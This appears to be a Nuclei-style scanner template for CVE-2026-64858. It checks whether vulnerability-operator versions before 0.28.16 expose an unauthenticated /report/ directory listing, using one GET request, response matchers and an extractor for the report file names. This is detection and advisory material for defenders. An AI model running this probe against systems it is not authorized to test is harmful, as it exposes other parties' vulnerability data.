CVE-2026-64858: vulnerability-operator < 0.28.16 - Unauthenticated Report Directory Listing

id: CVE-2026-64858

info:
  name: vulnerability-operator < 0.28.16 - Unauthenticated Report Directory Listing
  author: maulanawirawan
  severity: medium
  description: |
    vulnerability-operator < 0.28.16 contains an information disclosure caused by unauthenticated access to /report/ HTTP endpoint exposing vulnerability scan reports, letting unauthenticated attackers access sensitive vulnerability data, exploit requires network access to operator HTTP port.
  impact: |
    Unauthenticated attackers can access detailed vulnerability scan reports, exposing sensitive CVE IDs, package versions, and container image identifiers.
  remediation: |
    Upgrade to version 0.28.16 or later.
  reference:
    - https://github.com/ckotzbauer/vulnerability-operator/security/advisories/GHSA-6v6c-4cxg-cc93
    - https://github.com/ckotzbauer/vulnerability-operator/commit/b083ab0146e7fb301be6b5a4bc917b5e5fad6eae
    - https://nvd.nist.gov/vuln/detail/CVE-2026-64858
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-64858
    cwe-id: CWE-548
  metadata:
    verified: true
    max-request: 1
    vendor: ckotzbauer
    product: vulnerability-operator
  tags: cve,cve2026,ckotzbauer,vulnerability-operator,exposure,listing,unauth

http:
  - raw:
      - |
        GET /report/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<pre>")'
          - '!contains_any(body, "<html", "<body", "<head", "<title", "<script", "image/")'
          - 'contains_any(body, "report.json", "audited.json")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<a href="([^"]+\.json)"'
# digest: 490a0046304402201d33f488d1beb0de7066b6f00cb81a3abb5eefcdd1133adaf03c20ad041cdf3602207e5f797f1d8b795297a8397979b4dc0082295cb8a061e25f1d0e3a16774f14da:922c64590222798bb761d5b6d8e72950

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